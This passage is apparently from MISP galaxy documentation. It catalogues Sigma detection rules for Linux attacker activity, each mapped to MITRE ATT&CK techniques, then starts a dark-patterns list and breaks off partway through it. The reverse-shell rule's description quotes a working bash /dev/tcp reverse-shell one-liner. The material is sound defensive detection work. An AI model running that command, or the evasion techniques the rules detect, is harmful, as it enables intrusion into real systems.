Mount Execution With Hidepid Parameter

Detects execution of the "mount" command with "hidepid" parameter to make invisible processes to other users from the system

The tag is: *misp-galaxy:sigma-rules="Mount Execution With Hidepid Parameter"*

View relationships graph

Mount Execution With Hidepid Parameter has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Hide Artifacts - T1564" with estimative-language:likelihood-probability="almost-certain"

Table 17412. Table References

Links
https://twitter.com/Joseliyo_Jstnk/status/1620131033474822144
https://www.cyberciti.biz/faq/linux-hide-processes-from-other-users/
https://blogs.blackberry.com/
https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_mount_hidepid.yml

History File Deletion

Detects events in which a history file gets deleted, e.g. the ~/bash_history to remove traces of malicious activity

The tag is: *misp-galaxy:sigma-rules="History File Deletion"*

View relationships graph

History File Deletion has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Stored Data Manipulation - T1565.001" with estimative-language:likelihood-probability="almost-certain"

Table 17413. Table References

Links
https://github.com/sleventyeleven/linuxprivchecker/
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1552.003/T1552.003.md
https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_susp_history_delete.yml

Linux Package Uninstall

Detects linux package removal using builtin tools such as "yum", "apt", "apt-get" or "dpkg".

The tag is: *misp-galaxy:sigma-rules="Linux Package Uninstall"*

View relationships graph

Linux Package Uninstall has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Indicator Removal - T1070" with estimative-language:likelihood-probability="almost-certain"

Table 17414. Table References

Links
https://sysdig.com/blog/mitre-defense-evasion-falco
https://linuxhint.com/uninstall-debian-packages/
https://linuxhint.com/uninstall_yum_package/
https://www.tutorialspoint.com/how-to-install-a-software-on-linux-using-yum-command
https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_remove_package.yml

ESXi Admin Permission Assigned To Account Via ESXCLI

Detects execution of the "esxcli" command with the "system" and "permission" flags in order to assign admin permissions to an account.

The tag is: *misp-galaxy:sigma-rules="ESXi Admin Permission Assigned To Account Via ESXCLI"*

View relationships graph

ESXi Admin Permission Assigned To Account Via ESXCLI has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Hypervisor CLI - T1059.012" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Account Manipulation - T1098" with estimative-

language:likelihood-probability="almost-certain"

Table 17415. Table References

Links
https://developer.broadcom.com/xapis/esxcli-command-reference/7.0.0/namespace/esxcli_system.html
https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_esxcli_permission_change_admin.yml

Potential Container Discovery Via Inodes Listing

Detects listing of the inodes of the "/" directory to determine if the we are running inside of a container.

The tag is: *misp-galaxy:sigma-rules="Potential Container Discovery Via Inodes Listing"*

View relationships graph

Potential Container Discovery Via Inodes Listing has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"

Table 17416. Table References

Links
https://blog.skyplabs.net/posts/container-detection/
https://stackoverflow.com/questions/20010199/how-to-determine-if-a-process-runs-inside-lxc-docker
https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_susp_inod_listing.yml

Linux Crypto Mining Indicators

Detects command line parameters or strings often used by crypto miners

The tag is: *misp-galaxy:sigma-rules="Linux Crypto Mining Indicators"*

View relationships graph

Linux Crypto Mining Indicators has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Resource Hijacking - T1496" with estimative-language:likelihood-probability="almost-certain"

Table 17417. Table References

Links

https://www.poolwatch.io/coin/monero
https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_crypto_mining.yml

Chmod Suspicious Directory

Detects chmod targeting files in abnormal directory paths.

The tag is: *misp-galaxy:sigma-rules="Chmod Suspicious Directory"*

View relationships graph

Chmod Suspicious Directory has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Linux and Mac File and Directory Permissions Modification - T1222.002" with estimative-language:likelihood-probability="almost-certain"

Table 17418. Table References

Links
https://www.intezer.com/blog/malware-analysis/new-backdoor-sysjoker/
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1222.002/T1222.002.md
https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_susp_chmod_directories.yml

Suspicious Package Installed - Linux

Detects installation of suspicious packages using system installation utilities

The tag is: *misp-galaxy:sigma-rules="Suspicious Package Installed - Linux"*

View relationships graph

Suspicious Package Installed - Linux has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Install Root Certificate - T1553.004" with estimative-language:likelihood-probability="almost-certain"

Table 17419. Table References

Links
https://gist.githubusercontent.com/MichaelKoczwara/12faba9c061c12b5814b711166de8c2f/raw/e2068486692897b620c25fde1ea258c8218fe3d3/history.txt
https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_install_suspicious_packages.yml

Potential Linux Process Code Injection Via DD Utility

Detects the injection of code by overwriting the memory map of a Linux process using the "dd" Linux command.

The tag is: *misp-galaxy:sigma-rules="Potential Linux Process Code Injection Via DD Utility"*

View relationships graph

Potential Linux Process Code Injection Via DD Utility has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Proc Memory - T1055.009" with estimative-language:likelihood-probability="almost-certain"

Table 17420. Table References

Links
https://www.aon.com/cyber-solutions/aon_cyber_labs/linux-based-inter-process-code-injection-without-ptrace2/
https://github.com/AonCyberLabs/Cexigua/blob/34d338620afae4c6335ba8d8d499e1d7d3d5d7b5/overwrite.sh
https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_dd_process_injection.yml

Linux Recon Indicators

Detects events with patterns found in commands used for reconnaissance on linux systems

The tag is: *misp-galaxy:sigma-rules="Linux Recon Indicators"*

View relationships graph

Linux Recon Indicators has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Client Configurations - T1592.004" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Credentials In Files - T1552.001" with estimative-language:likelihood-probability="almost-certain"

Table 17421. Table References

Links
https://github.com/sleventyeleven/linuxprivchecker/blob/0d701080bbf92efd464e97d71a70f97c6f2cd658/linuxprivchecker.py
https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_susp_recon_indicators.yml

Communication To LocaltoNet Tunneling Service Initiated - Linux

Detects an executable initiating a network connection to "LocaltoNet" tunneling sub-domains. LocaltoNet is a reverse proxy that enables localhost services to be exposed to the Internet. Attackers have been seen to use this service for command-and-control activities to bypass MFA and perimeter controls.

The tag is: *misp-galaxy:sigma-rules="Communication To LocaltoNet Tunneling Service Initiated - Linux"*

View relationships graph

Communication To LocaltoNet Tunneling Service Initiated - Linux has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Protocol Tunneling - T1572" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Proxy - T1090" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Web Service - T1102" with estimative-language:likelihood-probability="almost-certain"

Table 17422. Table References

Links
https://cloud.google.com/blog/topics/threat-intelligence/unc3944-targets-saas-applications
https://localtonet.com/documents/supported-tunnels
https://github.com/SigmaHQ/sigma/tree/master/rules/linux/network_connection/net_connection_lnx_domain_localtonet_tunnel.yml

Communication To Ngrok Tunneling Service - Linux

Detects an executable accessing an ngrok tunneling endpoint, which could be a sign of forbidden exfiltration of data exfiltration by malicious actors

The tag is: *misp-galaxy:sigma-rules="Communication To Ngrok Tunneling Service - Linux"*

View relationships graph

Communication To Ngrok Tunneling Service - Linux has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Exfiltration Over Web Service - T1567" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Domain Generation Algorithms - T1568.002" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Protocol Tunneling - T1572" with estimative-

language:likelihood-probability="almost-certain"

- related-to: misp-galaxy:mitre-attack-pattern="Proxy - T1090" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Web Service - T1102" with estimative-language:likelihood-probability="almost-certain"

Table 17423. Table References

Links
https://twitter.com/hakluke/status/1587733971814977537/photo/1
https://ngrok.com/docs/secure-tunnels/tunnels/ssh-reverse-tunnel-agent
https://github.com/SigmaHQ/sigma/tree/master/rules/linux/network_connection/net_connection_lnx_ngrok_tunnel.yml

Linux Reverse Shell Indicator

Detects a bash contecting to a remote IP address (often found when actors do something like 'bash -i >& /dev/tcp/10.0.0.1/4242 0>&1')

The tag is: *misp-galaxy:sigma-rules="Linux Reverse Shell Indicator"*

View relationships graph

Linux Reverse Shell Indicator has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Unix Shell - T1059.004" with estimative-language:likelihood-probability="almost-certain"

Table 17424. Table References

Links
https://github.com/swisskyrepo/PayloadsAllTheThings/blob/d9921e370b7c668ee8cc42d09b1932c1b98fa9dc/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md
https://github.com/SigmaHQ/sigma/tree/master/rules/linux/network_connection/net_connection_lnx_back_connect_shell_dev.yml

Linux Crypto Mining Pool Connections

Detects process connections to a Monero crypto mining pool

The tag is: *misp-galaxy:sigma-rules="Linux Crypto Mining Pool Connections"*

View relationships graph

Linux Crypto Mining Pool Connections has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Resource Hijacking - T1496" with estimative-language:likelihood-probability="almost-certain"

Table 17425. Table References

Links
https://www.poolwatch.io/coin/monero
https://github.com/SigmaHQ/sigma/tree/master/rules/linux/network_connection/net_connection_lnx_crypto_mining_indicators.yml

Potentially Suspicious Malware Callback Communication - Linux

Detects programs that connect to known malware callback ports based on threat intelligence reports.

The tag is: *misp-galaxy:sigma-rules="Potentially Suspicious Malware Callback Communication - Linux"*

View relationships graph

Potentially Suspicious Malware Callback Communication - Linux has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Non-Standard Port - T1571" with estimative-language:likelihood-probability="almost-certain"

Table 17426. Table References

Links
https://www.mandiant.com/resources/blog/triton-actor-ttp-profile-custom-attack-tools-detections
https://www.cybereason.com/blog/sliver-c2-leveraged-by-many-threat-actors
https://www.elastic.co/guide/en/security/current/potential-non-standard-port-ssh-connection.html
https://www.mandiant.com/resources/blog/ukraine-and-sandworm-team
https://thehackernews.com/2024/01/systembc-malwares-c2-server-analysis.html
https://github.com/SigmaHQ/sigma/tree/master/rules/linux/network_connection/net_connection_lnx_susp_malware_callback_port.yml

Suspicious Reverse Shell Command Line

Detects suspicious shell commands or program code that may be executed or used in command line to establish a reverse shell

The tag is: *misp-galaxy:sigma-rules="Suspicious Reverse Shell Command Line"*

View relationships graph

Suspicious Reverse Shell Command Line has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Unix Shell - T1059.004" with estimative-

language:likelihood-probability="almost-certain"

Table 17427. Table References

Links
https://alamot.github.io/reverse_shells/
https://github.com/SigmaHQ/sigma/tree/master/rules/linux/builtin/lnx_shell_susp_rev_shells.yml

Suspicious Use of /dev/tcp

Detects suspicious command with /dev/tcp

The tag is: *misp-galaxy:sigma-rules="Suspicious Use of /dev/tcp"*

Table 17428. Table References

Links
https://book.hacktricks.xyz/shells/shells/linux
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1046/T1046.md#atomic-test-1---port-scan
https://www.andreafortuna.org/2021/03/06/some-useful-tips-about-dev-tcp/
https://github.com/SigmaHQ/sigma/tree/master/rules/linux/builtin/lnx_susp_dev_tcp.yml

Potential Suspicious BPF Activity - Linux

Detects the presence of "bpf_probe_write_user" BPF helper-generated warning messages. Which could be a sign of suspicious eBPF activity on the system.

The tag is: *misp-galaxy:sigma-rules="Potential Suspicious BPF Activity - Linux"*

Table 17429. Table References

Links
https://redcanary.com/blog/ebpf-malware/
https://man7.org/linux/man-pages/man7/bpf-helpers.7.html
https://github.com/SigmaHQ/sigma/tree/master/rules/linux/builtin/lnx_potential_susp_ebpf_activity.yml

JexBoss Command Sequence

Detects suspicious command sequence that JexBoss

The tag is: *misp-galaxy:sigma-rules="JexBoss Command Sequence"*

View relationships graph

JexBoss Command Sequence has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Unix Shell - T1059.004" with estimative-language:likelihood-probability="almost-certain"

Table 17430. Table References

Links
https://www.us-cert.gov/ncas/analysis-reports/AR18-312A
https://github.com/SigmaHQ/sigma/tree/master/rules/linux/builtin/lnx_susp_jexboss.yml

Symlink Etc Passwd

Detects suspicious command lines that look as if they would create symbolic links to /etc/passwd

The tag is: *misp-galaxy:sigma-rules="Symlink Etc Passwd"*

View relationships graph

Symlink Etc Passwd has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Malicious Link - T1204.001" with estimative-language:likelihood-probability="almost-certain"

Table 17431. Table References

Links
https://www.qualys.com/2021/05/04/21nails/21nails.txt
https://github.com/SigmaHQ/sigma/tree/master/rules/linux/builtin/lnx_symlink_etc_passwd.yml

Buffer Overflow Attempts

Detects buffer overflow attempts in Unix system log files

The tag is: *misp-galaxy:sigma-rules="Buffer Overflow Attempts"*

View relationships graph

Buffer Overflow Attempts has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Exploitation for Privilege Escalation - T1068" with estimative-language:likelihood-probability="almost-certain"

Table 17432. Table References

Links
https://rapid7.com/blog/post/2019/02/19/stack-based-buffer-overflow-attacks-what-you-need-to-know/

https://github.com/ossec/ossec-hids/blob/1ecffb1b884607cb12e619f9ab3c04f530801083/etc/rules/attack_rules.xml
https://blu.org/mhonarc/discuss/2001/04/msg00285.php
https://docs.oracle.com/cd/E19683-01/816-4883/6mb2joatd/index.html
https://www.giac.org/paper/gcih/266/review-ftp-protocol-cyber-defense-initiative/102802
https://github.com/SigmaHQ/sigma/tree/master/rules/linux/builtin/lnx_buffer_overflows.yml

Suspicious Activity in Shell Commands

Detects suspicious shell commands used in various exploit codes (see references)

The tag is: *misp-galaxy:sigma-rules="Suspicious Activity in Shell Commands"*

View relationships graph

Suspicious Activity in Shell Commands has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Unix Shell - T1059.004" with estimative-language:likelihood-probability="almost-certain"

Table 17433. Table References

Links
https://github.com/rapid7/metasploit-framework/blob/eb6535009f5fdafa954525687f09294918b5398d/modules/exploits/multi/http/struts_code_exec_exception_delegator.rb
http://pastebin.com/FtygZ1cg
https://web.archive.org/web/20170319121015/http://www.threatgeek.com/2017/03/widespread-exploitation-attempts-using-cve-2017-5638.html
https://artkond.com/2017/03/23/pivoting-guide/
https://github.com/SigmaHQ/sigma/tree/master/rules/linux/builtin/lnx_shell_susp_commands.yml

Suspicious Log Entries

Detects suspicious log entries in Linux log files

The tag is: *misp-galaxy:sigma-rules="Suspicious Log Entries"*

Table 17434. Table References

Links
https://github.com/ossec/ossec-hids/blob/f6502012b7380208db81f82311ad4a1994d39905/etc/rules/syslog_rules.xml
https://github.com/SigmaHQ/sigma/tree/master/rules/linux/builtin/lnx_shell_susp_log_entries.yml

Privileged User Has Been Created

Detects the addition of a new user to a privileged group such as "root" or "sudo"

The tag is: *misp-galaxy:sigma-rules="Privileged User Has Been Created"*

View relationships graph

Privileged User Has Been Created has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Local Account - T1136.001" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Account Manipulation - T1098" with estimative-language:likelihood-probability="almost-certain"

Table 17435. Table References

Links
https://digital.nhs.uk/cyber-alerts/2018/cc-2825
https://linux.die.net/man/8/useradd
https://github.com/redcanaryco/atomic-red-team/blob/25acadc0b43a07125a8a5b599b28bbc1a91ffb06/atomics/T1136.001/T1136.001.md#atomic-test-5---create-a-new-user-in-linux-with-root-uid-and-gid
https://github.com/SigmaHQ/sigma/tree/master/rules/linux/builtin/lnx_privileged_user_creation.yml

Code Injection by ld.so Preload

Detects the ld.so preload persistence file. See `man ld.so` for more information.

The tag is: *misp-galaxy:sigma-rules="Code Injection by ld.so Preload"*

View relationships graph

Code Injection by ld.so Preload has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Dynamic Linker Hijacking - T1574.006" with estimative-language:likelihood-probability="almost-certain"

Table 17436. Table References

Links
https://man7.org/linux/man-pages/man8/ld.so.8.html
https://github.com/SigmaHQ/sigma/tree/master/rules/linux/builtin/lnx_ldso_preload_injection.yml

Commands to Clear or Remove the Syslog - Builtin

Detects specific commands commonly used to remove or empty the syslog

The tag is: *misp-galaxy:sigma-rules="Commands to Clear or Remove the Syslog - Builtin"*

View relationships graph

Commands to Clear or Remove the Syslog - Builtin has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Stored Data Manipulation - T1565.001" with estimative-language:likelihood-probability="almost-certain"

Table 17437. Table References

Links
https://www.virustotal.com/gui/file/fc614fb4bda24ae8ca2c44e812d12c0fab6dd7a097472a35dd12ded053ab8474
https://github.com/SigmaHQ/sigma/tree/master/rules/linux/builtin/lnx_clear_syslog.yml

Shellshock Expression

Detects shellshock expressions in log files

The tag is: *misp-galaxy:sigma-rules="Shellshock Expression"*

View relationships graph

Shellshock Expression has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Web Shell - T1505.003" with estimative-language:likelihood-probability="almost-certain"

Table 17438. Table References

Links
https://owasp.org/www-pdf-archive/Shellshock-_Tudor_Enache.pdf
https://github.com/SigmaHQ/sigma/tree/master/rules/linux/builtin/lnx_shellshock.yml

Remote File Copy

Detects the use of tools that copy files from or to remote systems

The tag is: *misp-galaxy:sigma-rules="Remote File Copy"*

View relationships graph

Remote File Copy has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 17439. Table References

Links
https://www.cisa.gov/stopransomware/ransomware-guide
https://github.com/SigmaHQ/sigma/tree/master/rules/linux/builtin/lnx_file_copy.yml

Linux Command History Tampering

Detects commands that try to clear or tamper with the Linux command history. This technique is used by threat actors in order to evade defenses and execute commands without them being recorded in files such as "bash_history" or "zsh_history".

The tag is: *misp-galaxy:sigma-rules="Linux Command History Tampering"*

View relationships graph

Linux Command History Tampering has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Clear Command History - T1070.003" with estimative-language:likelihood-probability="almost-certain"

Table 17440. Table References

Links
https://www.cadosecurity.com/spinning-yarn-a-new-linux-malware-campaign-targets-docker-apache-hadoop-redis-and-confluence/
https://www.hackers-arise.com/post/2016/06/20/covering-your-bash-shell-tracks-antiforensics
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1070.003/T1070.003.md
https://github.com/SigmaHQ/sigma/tree/master/rules/linux/builtin/lnx_shell_clear_cmd_history.yml

Equation Group Indicators

Detects suspicious shell commands used in various Equation Group scripts and tools

The tag is: *misp-galaxy:sigma-rules="Equation Group Indicators"*

View relationships graph

Equation Group Indicators has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Unix Shell - T1059.004" with estimative-language:likelihood-probability="almost-certain"

Table 17441. Table References

Links
https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1
https://github.com/SigmaHQ/sigma/tree/master/rules/linux/builtin/lnx_apt_equationgroup_lnx.yml

Suspicious VSFTPD Error Messages

Detects suspicious VSFTPD error messages that indicate a fatal or suspicious error that could be caused by exploiting attempts

The tag is: *misp-galaxy:sigma-rules="Suspicious VSFTPD Error Messages"*

View relationships graph

Suspicious VSFTPD Error Messages has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Exploit Public-Facing Application - T1190" with estimative-language:likelihood-probability="almost-certain"

Table 17442. Table References

Links
https://github.com/dagwieers/vsftpd/
https://github.com/SigmaHQ/sigma/tree/master/rules/linux/builtin/vsftpd/lnx_vsftpd_susp_error_messages.yml

Relevant ClamAV Message

Detects relevant ClamAV messages

The tag is: *misp-galaxy:sigma-rules="Relevant ClamAV Message"*

View relationships graph

Relevant ClamAV Message has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Malware - T1588.001" with estimative-language:likelihood-probability="almost-certain"

Table 17443. Table References

Links
https://github.com/ossec/ossec-hids/blob/1ecffb1b884607cb12e619f9ab3c04f530801083/etc/rules/clam_av_rules.xml
https://github.com/SigmaHQ/sigma/tree/master/rules/linux/builtin/clamav/lnx_clamav_relevant_message.yml

Disabling Security Tools - Builtin

Detects disabling security tools

The tag is: *misp-galaxy:sigma-rules="Disabling Security Tools - Builtin"*

View relationships graph

Disabling Security Tools - Builtin has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Disable or Modify System Firewall - T1562.004" with estimative-language:likelihood-probability="almost-certain"

Table 17444. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.004/T1562.004.md
https://github.com/SigmaHQ/sigma/tree/master/rules/linux/builtin/syslog/lnx_syslog_security_tools_disabling_syslog.yml

Suspicious Named Error

Detects suspicious DNS error messages that indicate a fatal or suspicious error that could be caused by exploiting attempts

The tag is: *misp-galaxy:sigma-rules="Suspicious Named Error"*

View relationships graph

Suspicious Named Error has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Exploit Public-Facing Application - T1190" with estimative-language:likelihood-probability="almost-certain"

Table 17445. Table References

Links
https://github.com/ossec/ossec-hids/blob/1ecffb1b884607cb12e619f9ab3c04f530801083/etc/rules/named_rules.xml
https://github.com/SigmaHQ/sigma/tree/master/rules/linux/builtin/syslog/lnx_syslog_susp_named.yml

Suspicious OpenSSH Daemon Error

Detects suspicious SSH / SSHD error messages that indicate a fatal or suspicious error that could be caused by exploiting attempts

The tag is: *misp-galaxy:sigma-rules="Suspicious OpenSSH Daemon Error"*

View relationships graph

Suspicious OpenSSH Daemon Error has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Exploit Public-Facing Application - T1190" with estimative-language:likelihood-probability="almost-certain"

Table 17446. Table References

Links
https://github.com/ossec/ossec-hids/blob/1ecffb1b884607cb12e619f9ab3c04f530801083/etc/rules/sshd_rules.xml
https://github.com/openssh/openssh-portable/blob/c483a5c0fb8e8b8915fad85c5f6113386a4341ca/ssherr.c
https://github.com/SigmaHQ/sigma/tree/master/rules/linux/builtin/sshd/lnx_sshd_susp_ssh.yml

Guacamole Two Users Sharing Session Anomaly

Detects suspicious session with two users present

The tag is: *misp-galaxy:sigma-rules="Guacamole Two Users Sharing Session Anomaly"*

View relationships graph

Guacamole Two Users Sharing Session Anomaly has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Exploitation for Credential Access - T1212" with estimative-language:likelihood-probability="almost-certain"

Table 17447. Table References

Links
https://research.checkpoint.com/2020/apache-guacamole-rce/
https://github.com/SigmaHQ/sigma/tree/master/rules/linux/builtin/guacamole/lnx_guacamole_susp_guacamole.yml

Modifying Crontab

Detects suspicious modification of crontab file.

The tag is: *misp-galaxy:sigma-rules="Modifying Crontab"*

View relationships graph

Modifying Crontab has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Cron - T1053.003" with estimative-language:likelihood-probability="almost-certain"

Table 17448. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1053.003/T1053.003.md
https://github.com/SigmaHQ/sigma/tree/master/rules/linux/builtin/cron/lnx_cron_crontab_file_modification.yml

Dark Patterns

Dark Patterns are user interface that tricks users into making decisions that benefit the interface's holder to the expense of the user..

Dark Patterns is a cluster galaxy available in JSON format at **this location** The JSON format can be freely reused in your application or automatically enabled in MISP.

authors

Jean-Louis Huynen

Nagging

Repeated requests to do something the firms prefer

The tag is: *misp-galaxy:social-dark-patterns="Nagging"*

Table 17449. Table References

Links
https://dl.acm.org/citation.cfm?id=3174108
https://papers.ssrn.com/sol3/papers.cfm?abstract_id=3431205

Activity Messages

Misleading notice about other consumers' actions

The tag is: *misp-galaxy:social-dark-patterns="Activity Messages"*

Table 17450. Table References

Links
https://webtransparency.cs.princeton.edu/dark-patterns/assets/dark-patterns-v2.pdf
https://papers.ssrn.com/sol3/papers.cfm?abstract_id=3431205

Testimonials

Misleading statements from customers

The tag is: *misp-galaxy:social-dark-patterns="Testimonials"*

Table 17451. Table References

Links
https://webtransparency.cs.princeton.edu/dark-patterns/assets/dark-patterns-v2.pdf
https://papers.ssrn.com/sol3/papers.cfm?abstract_id=3431205

Roach Motel

Asymmetry between signing up and canceling

The tag is: *misp-galaxy:social-dark-patterns="Roach Motel"*

Table 17452. Table References

Links
https://dl.acm.org/citation.cfm?id=3174108
https://webtransparency.cs.princeton.edu/dark-patterns/assets/dark-patterns-v2.pdf
https://papers.ssrn.com/sol3/papers.cfm?abstract_id=3431205

Price Comparison Prevention

Frustrates comparison shopping

The tag is: *misp-galaxy:social-dark-patterns="Price Comparison Prevention"*

Table 17453. Table References

Links
https://www.darkpatterns.org/
https://dl.acm.org/citation.cfm?id=3174108
https://webtransparency.cs.princeton.edu/dark-patterns/assets/dark-patterns-v2.pdf
https://papers.ssrn.com/sol3/papers.cfm?abstract_id=3431205

Intermediate Currency

Purchases in virtual currency to obscure cost

The tag is: *misp-galaxy:social-dark-patterns="Intermediate Currency"*

Table 17454. Table References

Links
https://www.darkpatterns.org/
https://papers.ssrn.com/sol3/papers.cfm?abstract_id=3431205

Sneak into Basket

Item consumer did not add is in cart

The tag is: *misp-galaxy:social-dark-patterns="Sneak into Basket"*

Table 17455. Table References

Links
https://www.darkpatterns.org/
https://dl.acm.org/citation.cfm?id=3174108
https://webtransparency.cs.princeton.edu/dark-patterns/assets/dark-patterns-v2.pdf
https://papers.ssrn.com/sol3/papers.cfm?abstract_id=3431205

Hidden Costs

Costs obscured / disclosed late in transaction

The tag is: *misp-galaxy:social-dark-patterns="Hidden Costs"*

Table 17456. Table References

Links
https://www.darkpatterns.org/
https://dl.acm.org/citation.cfm?id=3174108
https://webtransparency.cs.princeton.edu/dark-patterns/assets/dark-patterns-v2.pdf
https://papers.ssrn.com/sol3/papers.cfm?abstract_id=3431205

Hidden subscription / forced continuity

Unanticipated / undesired automatic renewal

The tag is: *misp-galaxy:social-dark-patterns="Hidden subscription / forced continuity"*

Table 17457. Table References

Links
https://www.darkpatterns.org/
https://dl.acm.org/citation.cfm?id=3174108
https://webtransparency.cs.princeton.edu/dark-patterns/assets/dark-patterns-v2.pdf

https://papers.ssrn.com/sol3/papers.cfm?abstract_id=3431205

Bait & Switch

Customer sold something other than what's originally advertised

The tag is: *misp-galaxy:social-dark-patterns="Bait & Switch"*

Table 17458. Table References

Links
https://dl.acm.org/citation.cfm?id=3174108
https://papers.ssrn.com/sol3/papers.cfm?abstract_id=3431205

Hidden information / aesthetic manipulation / false hierarchy

Important information visually obscured

The tag is: *misp-galaxy:social-dark-patterns="Hidden information / aesthetic manipulation / false hierarchy"*

Table 17459. Table References

Links
https://webtransparency.cs.princeton.edu/dark-patterns/assets/dark-patterns-v2.pdf
https://papers.ssrn.com/sol3/papers.cfm?abstract_id=3431205

Preselection

Firm-friendly default is preselected

The tag is: *misp-galaxy:social-dark-patterns="Preselection"*

Table 17460. Table References

Links
https://petsymposium.org/2016/files/papers/Tales_from_the_Dark_SidePrivacy_Dark_Strategies_and_Privacy_Dark_Patterns.pdf
https://papers.ssrn.com/sol3/papers.cfm?abstract_id=3431205

Toying with emotion

Emotionally manipulative framing

The tag is: *misp-galaxy:social-dark-patterns="Toying with emotion"*

Table 17461. Table References

Links
https://dl.acm.org/citation.cfm?id=3174108
https://papers.ssrn.com/sol3/papers.cfm?abstract_id=3431205

Trick questions

Intentional or obvious ambiguity

The tag is: *misp-galaxy:social-dark-patterns="Trick questions"*

Table 17462. Table References

Links
https://webtransparency.cs.princeton.edu/dark-patterns/assets/dark-patterns-v2.pdf
https://dl.acm.org/citation.cfm?id=3174108
https://papers.ssrn.com/sol3/papers.cfm?abstract_id=3431205

Disguised Ad

Consumer induced to click on something that isn't apparent ad

The tag is: *misp-galaxy:social-dark-patterns="Disguised Ad"*

Table 17463. Table References

Links
https://dl.acm.org/citation.cfm?id=3174108
https://www.darkpatterns.org/types-of-dark-pattern
https://papers.ssrn.com/sol3/papers.cfm?abstract_id=3431205

Confirmshaming

Choice framed in way that seems dishonest / stupid

The tag is: *misp-galaxy:social-dark-patterns="Confirmshaming"*

Table 17464. Table References

Links
https://webtransparency.cs.princeton.edu/dark-patterns/assets/dark-patterns-v2.pdf
https://www.darkpatterns.org/types-of-dark-pattern
https://papers.ssrn.com/sol3/papers.cfm?abstract_id=3431205

Forced Registration

Consumer tricked into thinking registration necessary

The tag is: *misp-galaxy:social-dark-patterns="Forced Registration"*

Table 17465. Table References

Links
https://petsymposium.org/2016/files/papers/Tales_from_the_Dark_SidePrivacy_Dark_Strategies_and_Privacy_Dark_Patterns.pdf
https://papers.ssrn.com/sol3/papers.cfm?abstract_id=3431205

Low stock / high-demand message

Consumer falsely informed of limited quantities

The tag is: *misp-galaxy:social-dark-patterns="Low stock / high-demand message"*

Table 17466. Table References

Links
https://webtransparency.cs.princeton.edu/dark-patterns/assets/dark-patterns-v2.pdf
https://papers.ssrn.com/sol3/papers.cfm?abstract_id=3431205

Countdown timer / Limited time message

Opportunity ends soon with blatant false visual cue

